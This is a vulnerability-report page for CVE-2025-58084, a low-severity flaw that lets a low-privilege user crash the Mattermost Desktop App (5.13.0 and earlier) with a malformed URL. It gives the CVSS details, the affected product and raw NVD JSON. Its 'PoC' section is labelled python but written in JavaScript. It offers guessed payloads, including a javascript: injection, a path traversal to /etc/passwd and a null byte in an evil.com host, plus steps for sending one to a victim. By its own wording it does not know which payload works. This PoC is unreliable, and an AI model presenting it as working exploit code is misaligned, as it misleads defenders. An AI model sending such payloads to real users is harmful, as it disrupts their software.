Security Vulnerability Report
中文
CVE-2025-58084 CVSS 3.5 LOW

CVE-2025-58084

Published: 2025-10-13 20:15:34
Last Modified: 2025-10-29 13:34:08

Description

Mattermost Desktop App versions <= 5.13.0 fail to validate URLs external to the configured Mattermost servers, allowing an attacker on a server the user has configured to crash the user's application by sending the user a malformed URL.

CVSS Details

CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_desktop:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost Desktop App <= 5.13.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-58084: Mattermost Desktop App DoS via Malformed URL // This PoC demonstrates how an attacker can craft a malformed URL to crash // the Mattermost Desktop App (versions <= 5.13.0). // // Attack Scenario: // 1. Attacker has a low-privilege account on a Mattermost server // that the victim has configured in their Desktop App. // 2. Attacker sends a message containing a malformed URL to the victim. // 3. Victim clicks the URL in the Desktop App. // 4. The app crashes due to improper URL validation. // Example malformed URLs that may trigger the crash: const malformedUrls = [ "http://[invalid_ipv6_address", // Malformed IPv6 bracket "http://%00%00%00%00", // Null byte injection "javascript://%0aalert(1)", // Protocol confusion "mattermost://../../../../etc/passwd", // Path traversal in custom protocol "http://[::1:80", // Unclosed IPv6 bracket with port "http://host\u0000.evil.com", // Null byte in hostname "http://a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p" // Excessive subdomain levels ]; // Attack steps (conceptual): // 1. Login to the Mattermost server as a low-privilege user // 2. Navigate to a channel or direct message with the victim // 3. Post a message containing one of the malformed URLs above // 4. Wait for the victim to click the link // 5. The victim's Mattermost Desktop App will crash // Note: The exact malformed URL that triggers the crash // depends on the specific URL parsing logic in the affected version. // The key vulnerability is the lack of URL validation before processing.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58084", "sourceIdentifier": "[email protected]", "published": "2025-10-13T20:15:33.937", "lastModified": "2025-10-29T13:34:07.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Desktop App versions <= 5.13.0 fail to validate URLs external to the configured Mattermost servers, allowing an attacker on a server the user has configured to crash the user's application by sending the user a malformed URL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_desktop:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.13.1.0", "matchCriteriaId": "DF3A3DC2-7803-4FCA-BF64-0B784C497862"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}